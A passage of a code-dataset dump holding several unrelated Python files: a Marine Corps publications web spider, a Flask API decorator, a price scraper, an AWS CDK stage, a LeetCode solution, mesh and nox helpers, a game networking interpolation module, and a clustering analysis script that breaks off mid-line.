'MANUAL FOR COURTS-MARTIAL' in raw_data['doc_type_num_raw']:\n raw_data['doc_num'] = \"\"\n else:\n general_set_num(raw_data)\n\n\ndef legal_pubs_set_name(raw_data: dict) -> None:\n if raw_data['doc_num']:\n name_from_type_and_num(raw_data)\n else:\n name_from_title(raw_data)\n\n\nirm_re = re.compile(r'IRM\\-?(\\w*\\-\\w*)')\n\n\ndef misc_pubs_set_num(raw_data: dict) -> None:\n doc_type_num_raw = raw_data['doc_type_num_raw']\n raw_data['doc_num'] = \"\"\n if 'IRM ' in doc_type_num_raw or 'IRM-' in doc_type_num_raw:\n groups = re.search(irm_re, doc_type_num_raw)\n if groups:\n raw_data['doc_num'] = groups.group(1)\n elif 'MCCP' in doc_type_num_raw or 'CMC White Letter' in doc_type_num_raw:\n general_set_num(raw_data)\n else:\n set_no_num(raw_data)\n\n\ndef misc_pubs_set_type(raw_data: dict) -> None:\n if 'IRM' in raw_data['doc_type_num_raw']:\n raw_data['doc_type'] = 'IRM'\n else:\n set_type_using_num(raw_data)\n\n\ndef misc_pubs_set_name(raw_data: dict) -> None:\n if raw_data['doc_num']:\n if 'IRM' in raw_data['doc_type_num_raw']:\n name_from_type_and_num_with_dash(raw_data)\n else:\n name_from_type_and_num(raw_data)\n else:\n name_from_title(raw_data)\n\n\nsecnavm_re = re.compile(r'SECNAV M\\-?(\\w*\\.?\\w*)')\n\n\ndef navy_pubs_set_num(raw_data: dict) -> None:\n raw_data['doc_num'] = \"\"\n if 'SECNAV M-' in raw_data['doc_type_num_raw']:\n groups = re.search(secnavm_re, raw_data['doc_type_num_raw'])\n if groups:\n raw_data['doc_num'] = groups.group(1).replace('-', '')\n else:\n general_set_num(raw_data)\n\n\ndef navy_pubs_set_type(raw_data: dict) -> None:\n if 'SECNAV M-' in raw_data['doc_type_num_raw']:\n raw_data['doc_type'] = 'SECNAV M'\n else:\n set_type_using_num(raw_data)\n\n\ndef navy_pubs_set_name(raw_data: dict) -> None:\n if raw_data['doc_num']:\n if 'SECNAV M-' in raw_data['doc_type_num_raw']:\n name_from_type_and_num_with_dash(raw_data)\n elif 'NAVSUP P' in raw_data['doc_type_num_raw']:\n name_from_type_and_num_no_space(raw_data)\n else:\n name_from_type_and_num(raw_data)\n else:\n name_from_title(raw_data)\n\n\nstandard_funcs = {\n \"set_num_func\": general_set_num,\n \"set_type_func\": set_type_using_num,\n \"set_doc_name_func\": name_from_type_and_num,\n}\n\n\n# each doc type has so many exceptions, most need specific rules\ndoc_type_transformations_map = {\n \"Army Pubs\": standard_funcs,\n \"Doctrine Pubs\": standard_funcs,\n \"Historical\": {\n \"set_num_func\": set_no_num,\n \"set_type_func\": use_raw_type,\n \"set_doc_name_func\": name_from_type_title,\n },\n \"Legal Pubs\": {\n \"set_num_func\": legal_pubs_set_num,\n \"set_type_func\": set_type_using_num,\n \"set_doc_name_func\": legal_pubs_set_name,\n },\n \"MCBUL\": {\n \"set_num_func\": general_set_num,\n \"set_type_func\": set_type_using_num,\n \"set_doc_name_func\": name_from_type_and_num,\n },\n \"MCO\": standard_funcs,\n \"MCO P\": {\n \"set_num_func\": general_set_num,\n \"set_type_func\": set_type_using_num,\n \"set_doc_name_func\": name_from_type_and_num_no_space,\n },\n \"Misc Pubs\": {\n \"set_num_func\": misc_pubs_set_num,\n \"set_type_func\": misc_pubs_set_type,\n \"set_doc_name_func\": misc_pubs_set_name,\n },\n \"NAVMC\": standard_funcs,\n \"NAVMC Directive\": standard_funcs,\n \"Navy Pubs\": {\n \"set_num_func\": navy_pubs_set_num,\n \"set_type_func\": navy_pubs_set_type,\n \"set_doc_name_func\": navy_pubs_set_name,\n },\n \"UM\": {\n \"set_num_func\": set_no_num,\n \"set_type_func\": use_raw_type,\n \"set_doc_name_func\": name_from_type_title,\n },\n \"USAF Pubs\": standard_funcs,\n}\n\n\nclass MarineCorpSpider(GCSpider):\n '''\n Class defines the behavior for crawling and extracting text-based documents from the \"Marine Corp Publications Electronic Library (MCPEL)\" site, which contains \n a list of all Marine Corps publications, orders, directives. This class inherits the 'GCSpider' class from GCSpider.py. The GCSpider class is Gamechanger's\n implementation of the standard parse method used in Scrapy crawlers in order to return a response.\n\n This class and its methods = the marine_pubs \"spider\".\n '''\n\n name = \"marine_pubs\" # Crawler name\n\n allowed_domains = ['marines.mil']\n base_url = 'https://www.marines.mil/News/Publications/MCPEL/?Page='\n current_page = 1\n start_urls = [\n f\"{base_url}{current_page}\"\n ]\n rotate_user_agent = True\n randomly_delay_request = True\n\n cac_required_options = [\"placeholder\", \"FOUO\", \"for_official_use_only\"]\n\n @staticmethod\n def get_display_doc_type(doc_type):\n \"\"\"This function returns value for display_doc_type based on doc_type -> display_doc_type mapping\"\"\"\n display_type_dict = {\n \"secnavinst\": 'Instruction'\n }\n if doc_type.lower() in display_type_dict.keys():\n return display_type_dict[doc_type.lower()]\n else:\n return \"Document\"\n\n def parse(self, response):\n source_page_url = response.url\n rows = response.css('div.alist-more-here div.litem')\n\n # no rows found, on page num that has no results, done running\n if not rows:\n return\n\n for row in rows:\n try:\n follow_href = row.css('a::attr(href)').get()\n\n doc_type_raw = row.css(\n 'div.list-type span::text').get(default=\"\")\n doc_type_num_raw = row.css(\n 'div.list-title::text').get(default=\"\")\n doc_title_raw = row.css(\n 'div.cat span::text').get(default=\"\")\n doc_status_raw = row.css(\n 'div.status::text').get(default=\"\")\n\n # skip empty rows\n if not doc_type_raw:\n continue\n # skip doc type we dont know about\n if not doc_type_raw in doc_type_transformations_map:\n print('SKIPPING - unrecognized doc type', doc_type_raw)\n continue\n # skip deleted\n if doc_status_raw == 'Deleted':\n continue\n # skip if no link to page that has pdf\n if not follow_href:\n continue\n\n raw_data = {\n \"doc_type_raw\": doc_type_raw,\n \"doc_type_num_raw\": doc_type_num_raw,\n \"doc_title_raw\": doc_title_raw\n }\n\n # each doc type has ways to parse it defined in doc_type_transformations_map\n transformations = doc_type_transformations_map[doc_type_raw]\n # mutably sets keys on raw_data dict\n set_all_transformations(raw_data, transformations)\n\n doc_num=raw_data['doc_num']\n doc_name = self.ascii_clean(raw_data['doc_name'])\n doc_title = self.ascii_clean(doc_title_raw)\n if not doc_title:\n doc_title = doc_name\n cac_login_required = True if any(\n x in doc_title for x in self.cac_required_options) else False\n doc_type = raw_data['doc_type']\n display_org = \"US Marine Corps\" # Level 1: GC app 'Source' filter for docs from this crawler\n data_source = 'Marine Corps Publications Electronic Library' # Level 2: GC app 'Source' metadata field for docs from this crawler\n source_title = \"Unlisted Source\" # Level 3 filter\n publication_date = None # No publication date for this crawler\n display_doc_type = self.get_display_doc_type(doc_type)\n display_source = data_source + \" - \" + source_title\n display_title = doc_type + \" \" + doc_num + \": \" + doc_title\n is_revoked = False\n source_fqdn = urlparse(source_page_url).netloc\n\n version_hash_fields = {\n \"doc_num\": doc_num,\n \"doc_name\": doc_name,\n \"publication_date\": None,\n \"status\": doc_status_raw,\n \"display_title\": display_title\n }\n\n incomplete_item = {\n \"fields\": DocItem(\n doc_name=doc_name,\n doc_num=doc_num,\n doc_type=doc_type,\n doc_title=doc_title,\n source_page_url=source_page_url,\n cac_login_required=cac_login_required,\n display_doc_type=display_doc_type,\n display_source=display_source,\n display_title=display_title,\n display_org=display_org,\n data_source=data_source,\n source_title=source_title,\n crawler_used=self.name,\n source_fqdn=source_fqdn,\n version_hash_raw_data=version_hash_fields,\n is_revoked=is_revoked,\n publication_date=publication_date,\n )\n }\n\n # follow href to get downloadable item link, pass in incomplete item\n yield scrapy.Request(\n follow_href, callback=self.parse_download_page, meta=incomplete_item)\n\n except Exception as e:\n print('ERROR', type(e), e)\n continue\n\n # increment page and send next request\n self.current_page += 1\n next_url = f\"{self.base_url}{self.current_page}\"\n\n yield scrapy.Request(next_url, callback=self.parse)\n\n def parse_download_page(self, response):\n\n doc_item = response.meta[\"fields\"]\n href_raw = response.css(\n 'div.download-section a::attr(href)').get(default=\"\")\n if not href_raw:\n href_raw = response.css(\n 'div.body-text a::attr(href)').get(default=\"\")\n if not href_raw:\n texts = response.css('div.body-text *::text').getall()\n href_texts = [x for x in texts if self.is_valid_url(x)]\n if len(href_texts):\n href_raw = href_texts[0]\n\n # try to repair some broken hrefs\n href_raw = href_raw.replace('http:/www./', 'http://www.')\n\n # skip if no downloadable item or if it doesnt find a valid url\n if not href_raw or not self.is_valid_url(href_raw):\n return\n\n doc_item['version_hash_raw_data'].update({\"download_url\": href_raw})\n doc_item['version_hash'] = dict_to_sha256_hex_digest(doc_item['version_hash_raw_data'])\n file_ext = self.get_href_file_extension(href_raw)\n doc_item['file_ext'] = file_ext\n download_url = self.url_encode_spaces(href_raw)\n doc_item['download_url'] = download_url\n doc_item['downloadable_items'] = [{\n \"doc_type\": file_ext,\n \"download_url\": download_url,\n \"compression_type\": None\n }]\n\n yield doc_item","repo_name":"dod-advana/gamechanger-crawlers","sub_path":"dataPipelines/gc_scrapy/gc_scrapy/spiders/marine_corp_spider.py","file_name":"marine_corp_spider.py","file_ext":"py","file_size_in_byte":14056,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"28980875900","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'tangwh'\n\nimport re,logging, functools\nfrom flask import make_response, json\nfrom flask.globals import current_app, request\n\n#仿照josn.jsonity,只是在content_type 加入了charset=utf8\ndef jsonify(*args, **kwargs):\n indent = None\n if current_app.config['JSONIFY_PRETTYPRINT_REGULAR'] \\\n and not request.is_xhr:\n indent = 2\n return current_app.response_class(json.dumps(dict(*args, **kwargs),\n indent=indent),\n mimetype='application/json', content_type='application/json; charset=utf-8')\n \nclass APIError(Exception):\n '''\n the base APIError which contains error(required), data(optional) and message(optional).\n '''\n def __init__(self, error= 400, message='', payload=None):\n super(APIError, self).__init__(message)\n self.error = error\n self.message = message\n self.payload = payload\n\n\nclass APIValueError(APIError):\n def __init__(self, message='invalid value', payload=None):\n super(APIValueError, self).__init__(401, message, payload)\n\nclass APIResourceNotFoundError(APIError):\n def __init__(self, message='not found'):\n super(APIResourceNotFoundError, self).__init__(404, message)\n\nclass APIPermissionError(APIError):\n def __init__(self, message='permission forbidden'):\n super(APIPermissionError, self).__init__(402, message)\n\n\ndef api(func):\n '''\n A decorator that makes a function to json api, makes the return value as json.\n\n @app.route('/api/test')\n @api\n def api_test():\n return dict(result='123', items=[])\n '''\n @functools.wraps(func)\n def _wrapper(*args, **kw):\n try:\n data, code = func(*args, **kw);\n body= dict(statecode=code, stateDescription='success', body=data)\n except APIError as e:\n body = dict(statecode=e.error, stateDescription=e.message, body=e.payload)\n except ValueError as e:\n body = dict(statecode=403, stateDescription='program error!')\n except Exception as e:\n logging.exception(e)\n body = dict(statecode=403, stateDescription='internalerror')\n \n response = jsonify(body)\n return response\n \n return _wrapper\n\n","repo_name":"singleagle/flaskvenus","sub_path":"venus/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14561090635","text":"import uuid\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef get_random_code ():\n code = str(uuid.uuid4())[:8].replace('-','').lower()\n return code\n\n\ndef Lir_price():\n req = requests.get('https://www.tgju.org/profile/price_try')\n result = BeautifulSoup(req.text,'html.parser')\n r=result.find('span',{'data-col':'info.last_trade.PDrCotVal'})\n price = str((r.text))\n x=price.replace(',','')\n n=(int(x))\n return n\n\n\n","repo_name":"aamrx0119/new_pr","sub_path":"web/home/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42355547826","text":"import aws_cdk as cdk\nfrom constructs import Construct\n\nfrom infra.stacks.lambda_stack import LambdaStack\n\n\nclass DeployStage(cdk.Stage):\n def __init__(\n self,\n scope: Construct,\n stage: str,\n arns,\n alarms=False,\n versioning=False,\n **kwargs\n ):\n super().__init__(scope, stage, **kwargs)\n\n LambdaStack(self, stage, arns, alarms, versioning)\n","repo_name":"GuiPimenta-Dev/cdk-serverless-framework","sub_path":"infra/stages/deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"13812135455","text":"import math\n\n\ndef smallestGoodBase(n):\n \"\"\"\n :type n: str\n :rtype: str\n \"\"\"\n # 过���\n if n.startswith('0') or not n.isdigit():\n return '\"请输入有效且没有前导 0。\"'\n num = int(n)\n\n # 判断二进制是否成功\n if '0' not in bin(num)[2:]:\n return '\"2\"'\n\n max_n = int(math.log(num, 2))\n\n for n in range(max_n, 2, -1):\n # num 的 1 / (n - 1) 次方,且 num 为整数\n x = int(num ** ((n - 1) ** -1))\n # 等比数列求和公式\n if (x ** n - 1) // (x - 1) == num:\n return f'\"{str(x)}\"'\n\n # n = 1 时, x = num − 1 且为最大可行解\n return f'\"{str(num - 1)}\"'\n\n\nprint(smallestGoodBase('13'))\nprint(smallestGoodBase('8'))\nprint(smallestGoodBase('4681'))\nprint(smallestGoodBase('1000000000000000000'))\n\n# \"3\"\n# \"7\"\n# \"8\"\n# \"999999999999999999\"","repo_name":"ghxuan/leetcode","sub_path":"py/smallest-good-base.py","file_name":"smallest-good-base.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40306023374","text":"import numpy as np\nfrom vg.compat import v2 as vg\nfrom .functions import FACE_DTYPE\n\n\ndef quads_to_tris(quads, ret_mapping=False):\n \"\"\"\n Convert quad faces to triangular faces.\n\n quads: An nx4 array.\n ret_mapping: A bool.\n\n When `ret_mapping` is `True`, return a 2nx3 array of new triangles and a 2nx3\n array mapping old quad indices to new trangle indices.\n\n When `ret_mapping` is `False`, return the 2nx3 array of triangles.\n \"\"\"\n vg.shape.check(locals(), \"quads\", (-1, 4))\n\n tris = np.empty((2 * len(quads), 3), dtype=FACE_DTYPE)\n tris[0::2, :] = quads[:, [0, 1, 2]]\n tris[1::2, :] = quads[:, [0, 2, 3]]\n if ret_mapping:\n f_old_to_new = np.arange(len(tris), dtype=FACE_DTYPE).reshape(-1, 2)\n return tris, f_old_to_new\n else:\n return tris\n","repo_name":"lace/polliwog","sub_path":"polliwog/tri/quad_faces.py","file_name":"quad_faces.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"82"} +{"seq_id":"32566812676","text":"\"\"\"Nox helpers.\"\"\"\n\nimport json\nimport os\nfrom typing import Any, Dict, Iterator, Optional, Tuple\n\nfrom ..format.helpers import Converter\nfrom ...core.objects import ALL, Message\nfrom ...keys import TTask, Task\n\n__all__ = [\n 'run',\n 'write_output',\n]\n\n\ndef run(session, *args: Any, **kwargs: Any) -> Tuple[Optional[int], str]:\n \"\"\"Run nox command.\"\"\"\n ret = session.run(*args, **kwargs, silent=True, success_codes=ALL)\n return ALL.last, ret\n\n\ndef write_output(task: TTask, output: str,\n converter: Converter[str, Iterator[Message]],\n posargs: Dict[Any, Any],\n ) -> None:\n \"\"\"Convert information to output.\"\"\"\n path = posargs[0] + os.path.sep\n with open(path + task[Task.NAME] + '.json', 'w') as output_file:\n json.dump([m.to_dict() for m in converter(task, output)], output_file)\n","repo_name":"Peilonrayz/mam","sub_path":"src/mam/_mam/tasks/nox/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19881090016","text":"import time\r\nfrom astral import interpolator\r\n\r\nclass NetworkedProperty(object):\r\n \"\"\"Definition of an object property meant to be networked, and by what algorithm\r\n the property should be syncronized across the server and the client\"\"\"\r\n def __init__(self,name,predicted=False,interpolation=None):\r\n \"\"\"name - The property name. When mapped to an object will be object.name, \r\n i.e. NetworkedProperty(\"y\") -> object.y\r\n predicted - If True, will not be overwritten by the property state from the server, will\r\n instead use a predicted client-side value\r\n interpolation - How the property should be interpolated from an old state to a future state:\r\n one: set the new value when the timer reaches the future state\r\n zero: set the new value to the future state right away\r\n linear: use a linear function to interpolate from the old state to the future state\r\n log: use a logarithmic function - if far from future state, interpolate quickly; if close, interpolate slowly\r\n inverse: use an inverse logarithmic function, the closer to the future state the faster we get there\"\"\"\r\n self.name = name #the name of the property\r\n self.predicted = predicted #whether this property can be predicted by the client\r\n self.interpolation = interpolation #string defining an interpolation method or None to pick based on datatype\r\n\r\nclass RemoteObject(object):\r\n \"\"\"This object is managed on the server, but we keep a representation of the object locally.\"\"\"\r\n def __init__(self,key=None,prediction_func=None):\r\n \"\"\"key - unique key\r\n prediction_func - A function to run for client-side prediction:\r\n def prediction(object,input)\r\n Change object attributes according to given input\"\"\"\r\n self.key = key\r\n self.template = None\r\n self.is_owned = False #Object is owned by current client\r\n self.buffered = [] #List of buffered states to interpolate\r\n self.last_state = {} #Last state applied\r\n self.max_buffer = 5 #More buffers will be smoother but take a longer time to get to \"now\"\r\n self.buffer_skew = 1 #How fast to go through the buffers. Too fast is jerky, too slow and buffers fill up\r\n self.buffer_wait = 2 #How many states to buffer before interpolating, should be a lot less than max_buffer\r\n self.t = 0.0 #Progression between buffered state zero and buffered state one\r\n \r\n #Definition of networked properties\r\n self.properties = {}\r\n \r\n #Function to define how to apply input to our object state for one tick of simulation\r\n self.prediction_func = prediction_func\r\n self.use_prediction = False #Set this to true for any objects that should be using prediction\r\n\r\n self.prediction_buffer = {} #Our predicted states at various times, for correction\r\n self.max_prediction_buffer = 30\r\n \r\n self.values = []\r\n \r\n self.init()\r\n def init(self):\r\n \"\"\"Init function to override.\"\"\"\r\n def add_property(self,property):\r\n \"\"\"Add a new NetworkedProperty. Attributes are syncronized according to the server, but we can\r\n add these definitions to further configure how we deal with some of these properties.\"\"\"\r\n self.properties[property.name] = property\r\n def apply_state(self,state):\r\n \"\"\"Standard apply function to apply a state to a mob (mobile object). Sets attributes\r\n on self according to key/values in the state dictionary. Keys that start with '_' are\r\n metakeys and wont be applied.\r\n \r\n Example:\r\n ob = RemoteObject()\r\n ob.color = 'red'\r\n ob.size = 5\r\n ob.apply_state({'color':'green','_available_properties':['color','size']})\r\n ob.color -> 'green'\r\n ob.size -> 5\r\n ob._available_properties -> undefined\"\"\"\r\n for k in state:\r\n if k.startswith(\"_\"):\r\n continue\r\n setattr(self,k,state[k])\r\n def buffer_state(self,state):\r\n \"\"\"A new state has come in. Undiff it to previous state and add it to the buffer. \r\n If it's the first state (no previous state to combine with), apply it.\"\"\"\r\n if state.get(\"_force_apply\",None):\r\n self.buffered[:] = []\r\n \r\n #Apply differences\r\n next_state = {}\r\n if self.buffered:\r\n next_state.update(self.buffered[-1])\r\n next_state.update(state)\r\n next_state[\"_time\"] = time.time()-0.10\r\n self.buffered.append(next_state)\r\n \r\n while len(self.buffered)>self.max_buffer:\r\n del self.buffered[0]\r\n\r\n if len(self.buffered)==1:\r\n self.values = [x for x in state.keys() if not x.startswith(\"_\")]\r\n self.apply_state(state)\r\n def get_state(self):\r\n \"\"\"Similar to the server side get_state, but in this case we base our values\r\n on the first set of values the server told us about rather than hardcoding \r\n the attributres we care about.\"\"\"\r\n d = {}\r\n for k in self.values:\r\n d[k] = getattr(self,k)\r\n return d\r\n def apply_current_state(self):\r\n \"\"\"Take current interpolated state out of the buffer\r\n apply that state to the object using our apply function.\r\n Only relevant if buffer_wait is greater than 1.\"\"\"\r\n if len(self.buffered)=1:\r\n self.t = 1\r\n next = self.t-1.0\r\n self.apply_current_state()\r\n if self.t>=1:\r\n del self.buffered[0]\r\n self.t = next\r\n def prediction(self,state,input,t):\r\n \"\"\"Starting from state, at time t0,\r\n using input data, apply the state that would\r\n be correct at time t0+t\r\n Only called for objects with a prediction_func which are configued\r\n by the client as currently using prediction.\"\"\"\r\n if not self.prediction_func or not self.use_prediction:\r\n return\r\n self.prediction_buffer[t] = {\"state\":self.get_state(),\"input\":input,\"t\":t}\r\n self.apply_state(state)\r\n self.prediction_func(self,input)\r\n def correct_prediction(self,t):\r\n \"\"\"Compare predicted states with incoming states. If there\r\n are differences, rerun the prediction up till now\"\"\"\r\n if not self.use_prediction:\r\n return\r\n lowest = None\r\n highest = None\r\n for b in self.buffered:\r\n if not lowest or b[\"_update_count\"]highest[\"_update_count\"]:\r\n highest = b\r\n bad = []\r\n if highest:\r\n b = highest\r\n uc = b[\"_update_count\"]\r\n if uc in self.prediction_buffer:\r\n p = self.prediction_buffer[uc]\r\n bt = {}\r\n for k in [x for x in b if not x.startswith(\"_\")]:\r\n bt[k] = b[k]\r\n if interpolator.state_diff(bt,p[\"state\"]):\r\n input = p[\"input\"][:]\r\n if \".p\" in input:\r\n input.remove(\".p\")\r\n bad.append({\"state\":bt,\"input\":p[\"input\"],\"t\":uc})\r\n if bad:\r\n most_recent = bad[-1]\r\n state = most_recent[\"state\"]\r\n for uc in range(most_recent[\"t\"],t+1):\r\n if uc not in self.prediction_buffer:\r\n continue\r\n input = self.prediction_buffer[uc][\"input\"]\r\n self.prediction(state,input,uc)\r\n state = self.get_state()\r\n del self.prediction_buffer[uc]\r\n if not lowest:\r\n return\r\n for c in self.prediction_buffer.keys():\r\n if cself.max_prediction_buffer:\r\n del self.prediction_buffer[min(self.prediction_buffer.keys())]\r\n\r\nclass Mob(RemoteObject):\r\n \"\"\"A RemoteObject with a position\r\n properties: x,y\r\n x and y can be predicted, and are interpolated with 'linear'\"\"\"\r\n def init(self):\r\n self.add_property(NetworkedProperty(\"x\",predicted=True,interpolation=\"linear\"))\r\n self.add_property(NetworkedProperty(\"y\",predicted=True,interpolation=\"linear\"))","repo_name":"OzorMox/Quantum","sub_path":"astralnetworking/astral/client/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":9561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"37907269591","text":"import warnings\nwarnings.filterwarnings(\"ignore\")\nimport numpy as np\nimport pandas as pd\nimport time\nfrom sklearn.cluster import KMeans\nfrom sklearn.preprocessing import StandardScaler\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import silhouette_score\nimport seaborn as sns\nfrom sklearn import metrics\nimport pyfpgrowth\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.neighbors import NearestNeighbors\nfrom collections import Counter\nfrom clustviz.chameleon.chameleon import cluster\n\n### First Dataset Preprocessing ###\ndef preprocess_1st():\n \n # Read dataset\n df1st = pd.read_csv(\"/home/canberk/Desktop/2D.csv\", sep = \" \")\n \n # Check if any nan value in dataset\n print(\"\\nIs there any nan value in 2D dataset:\",df1st.isna().values.any())\n # There is no nan value in 51D dataset\n \n # Since all values are between 0 and 1, no need to normalization\n # Also there is no categorical value in dataset \n # therefore no need to turn them into numerical values\n return df1st\n\n\n### Second Dataset Preprocessing ###\ndef preprocess_2nd():\n \n # Read dataset\n df2nd = pd.read_csv(\"/home/canberk/Desktop/51D.csv\", sep = \",\")\n \n # Copy dataset to do operations on it\n c2nd = df2nd.copy()\n \n # Check if any nan value in 51D dataset\n print(\"\\nIs there any nan value in 51D dataset:\",c2nd.isna().values.any())\n # There is no nan value in 51D dataset\n \n # Also there is no categorical value in dataset \n # therefore no need to turn them into numerical values\n \n # Product_Code feature in dataset will not be beneficial because\n # it's unique and not useful for clustering therefore I drop it.\n print(\"\\nProduct_Code Feature is unique and not useful for clustering therefore I drop it.\")\n c2nd.drop(['Product_Code'], axis=1, inplace=True)\n print(\"\\nProduct_Code column is dropped\\n\")\n \n # There are values like 0 and 59 in dataset, bigger values can have bigger effects on clustering\n # therefore I need to standardize values of numerical features \n \n scaler = StandardScaler()\n \n c2nd = pd.DataFrame(scaler.fit_transform(c2nd), columns = c2nd.columns)\n \n return c2nd\n\n### KMeans ###\ndef k_means(df):\n k_values = range(1,10)\n \n if df.shape[1] < 20:\n inertias = []\n # Create KMeans model with k clusters\n for i in k_values:\n model = KMeans(n_clusters=i)\n model.fit(df)\n inertias.append(model.inertia_)\n \n # Plot inertias and k values to find elbow point \n # in order to find optimum k value\n plt.plot(k_values, inertias, '-o', color='turquoise')\n plt.xlabel('k values')\n plt.ylabel('inertia')\n plt.xticks(k_values)\n plt.show()\n # We can see that elbow point is 3\n # k is 3 and we got labels of clusters \n model = KMeans(n_clusters=3)\n clusters = model.fit_predict(df)\n sns.set(rc={'figure.figsize':(11.7,8.27)})\n sns.scatterplot(data = df)\n plt.show()\n sil_sc = silhouette_score(df, clusters, metric='euclidean')\n print(\"\\nThe Silhouette Coefficient for KMeans with 2D Dataset(DS1): %.3f\\n\", sil_sc)\n print('\\n')\n \n else:\n inertias = []\n # Create KMeans model with k clusters\n for i in k_values:\n model = KMeans(n_clusters=i)\n model.fit(df)\n inertias.append(model.inertia_)\n \n # Plot inertias and k values to find elbow point \n # in order to find optimum k value\n plt.plot(k_values, inertias, '-o', color='turquoise')\n plt.xlabel('k values')\n plt.ylabel('inertia')\n plt.xticks(k_values)\n plt.show()\n # We can see that there is no big change after k is 3 \n # therefore k is 3\n model = KMeans(n_clusters=3)\n clusters = model.fit_predict(df)\n df['clusters'] = clusters\n # Since visualization of 2nd dataset is not wanted\n # I just print clusters and how many points belong to them\n print(\"Clusters and number of points belong to them(KMeans)\")\n print(df['clusters'].value_counts())\n \n sil_sc = silhouette_score(df, clusters, metric='euclidean')\n print(\"\\nThe Silhouette Coefficient for KMeans with 51D Dataset(DS2): %.3f\\n\", sil_sc)\n print('\\n')\n \ndef fp_growth(df):\n patterns = pyfpgrowth.find_frequent_patterns(df.columns, 10)\n rules = pyfpgrowth.generate_association_rules(patterns,0.6)\n print(\"FREQUENT PATTERNS\")\n print(patterns)\n print('\\n')\n print(\"ASSOCIATION RULES\")\n print(rules)\n \n # I find optimal epsilon value by using NearestNeighbors,\n # it gives distances between each point and elbow point on \n # its graph gives optimal epsilon.\n # Related article: https://iopscience.iop.org/article/10.1088/1755-1315/31/1/012012/pdf\ndef find_optimal_eps(df,min_samples):\n neighbors = NearestNeighbors(n_neighbors=min_samples)\n neighbors_fit = neighbors.fit(df)\n distances, _ = neighbors_fit.kneighbors(df)\n distances = np.sort(distances, axis=0)\n distances = distances[:,1]\n plt.plot(distances)\n plt.show()\n \n### DBSCAN ###\ndef dbscan(df):\n \n if df.shape[1] < 20:\n # For 2D data, I will use DBSCAN’s default value of min_samples = 4\n min_samples = 4\n find_optimal_eps(df,min_samples)\n # According to elbow point, optimal eps value is 0.05 for 2D dataset \n true_labels = DBSCAN(eps=0.05, min_samples=min_samples).fit_predict(df)\n \n plt.title(\"DBSCAN Clustering for DS1\")\n sns.scatterplot(df.iloc[:,0], df.iloc[:,1], hue=[\"cluster-{}\".format(x) for x in true_labels])\n plt.show()\n db_sc1 = silhouette_score(df, true_labels, metric='euclidean')\n print(\"\\nThe Silhouette Coefficient for DBSCAN with 2D Dataset(DS1): %.3f\\n\" % db_sc1)\n \n else:\n # 2nd data has more than 2 dimensions therefore I choose min_samples = 2*dim, \n # where dim = the dimension of the dataset\n min_samples = 2*df.shape[1]\n find_optimal_eps(df,min_samples)\n # According to elbow point, optimal eps value is 3 for 51D dataset\n true_labels = DBSCAN(eps=3, min_samples=min_samples).fit_predict(df)\n \n # Visualization for 51D dataset is not wanted therefore \n # I print clusters and number of points belong to them\n cnt = Counter(true_labels)\n label_counts = {i: cnt[i] for i in true_labels}\n print(\"Clusters and number of points belong to them(DBScan)\")\n print(label_counts)\n \n db_sc2 = silhouette_score(df, true_labels, metric='euclidean')\n print(\"\\nThe Silhouette Coefficient for DBSCAN with 51D Dataset(DS2): %.3f\\n\" % db_sc2)\n\n### Chameleon ###\ndef chameleon(df):\n \n if df.shape[1] < 20:\n chameleon_df,_ = cluster(df, k=3, knn=10, m=20, verbose2=False, plot=False)\n chameleon_df.plot.scatter(x=0, y=1, c=chameleon_df['cluster'], colormap='gist_rainbow')\n ch_sc1 = silhouette_score(df, df['cluster'], metric='euclidean')\n print(\"\\nThe Silhouette Coefficient for Chameleon with 2D Dataset(DS1): %.3f\\n\" % ch_sc1)\n\n else:\n chameleon_df,_ = cluster(df, k=15, knn=10, m=20, verbose2=False, plot=False)\n unique, counts = np.unique(chameleon_df['cluster'], return_counts=True)\n print(\"Clusters and number of points belong to them(Chameleon)\")\n print(dict(zip(unique, counts)))\n ch_sc2 = silhouette_score(df, df['cluster'], metric='euclidean')\n print(\"\\nThe Silhouette Coefficient for Chameleon with 51D Dataset(DS2): %.3f\\n\" % ch_sc2)\n\nif __name__ == \"__main__\":\n df_1st = preprocess_1st()\n df_2nd = preprocess_2nd()\n \n ### FPGrowth\n # 2D Dataset\n fp_start = time.time()\n fp_growth(df_1st)\n fp_end = time.time()\n print(\"Computational Time of FPGrowth Clustering Technique with 2D Dataset(DS1): {}\".format(fp_end-fp_start))\n print('\\n')\n \n # 51D Dataset\n fp_start = time.time()\n fp_growth(df_2nd)\n fp_end = time.time()\n print(\"Computational Time of FPGrowth Clustering Technique with 51D Dataset(DS2): {}\".format(fp_end-fp_start))\n print('\\n')\n \n ### KMeans\n # 2D Dataset\n k_means_start = time.time()\n k_means(df_1st)\n k_means_end = time.time()\n print(\"Computational Time of KMeans Clustering Technique with 2D Dataset(DS1): {}\".format(k_means_end-k_means_start))\n print('\\n')\n \n # 51D Dataset\n k_means_start = time.time()\n k_means(df_2nd)\n k_means_end = time.time()\n print(\"Computational Time of KMeans Clustering Technique with 51D Dataset(DS2): {}\".format(k_means_end-k_means_start))\n print('\\n')\n \n ### DBSCAN\n # 2D Dataset\n db_start = time.time()\n 